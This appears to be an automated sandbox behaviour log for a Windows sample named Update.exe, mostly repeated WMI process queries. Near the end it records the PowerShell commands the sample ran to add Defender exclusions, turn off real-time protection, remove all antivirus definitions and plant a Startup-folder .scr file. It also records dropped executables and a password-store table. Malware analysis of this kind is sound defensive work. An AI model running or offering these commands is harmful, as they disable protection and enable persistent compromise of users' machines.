Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\bound.exe File read: C:\Users\user\Desktop\desktop.ini
Source: C:\Users\user\Desktop\Update.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Update.exe, 00000001.00000003.1919694007.000002D8F6659000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Update.exe, Update.exe, 00000001.00000002.1989334674.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: Update.exe ReversingLabs: Detection: 50%
Source: Update.exe String found in binary or memory: id-cmc-addExtensions
Source: Update.exe String found in binary or memory: set-addPolicy
Source: Update.exe String found in binary or memory: can't send non-None value to a just-started generator
Source: Update.exe String found in binary or memory: --help
Source: Update.exe String found in binary or memory: --help
Source: C:\Users\user\Desktop\Update.exe File read: C:\Users\user\Desktop\Update.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Update.exe "C:\Users\user\Desktop\Update.exe"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Users\user\Desktop\Update.exe "C:\Users\user\Desktop\Update.exe"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe'"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe'
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "start bound.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\bound.exe bound.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'
Source: C:\Users\user\AppData\Local\Temp\bound.exe Process created: C:\Users\user\AppData\Local\Temp\Build.exe "C:\Users\user\AppData\Local\Temp\Build.exe"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
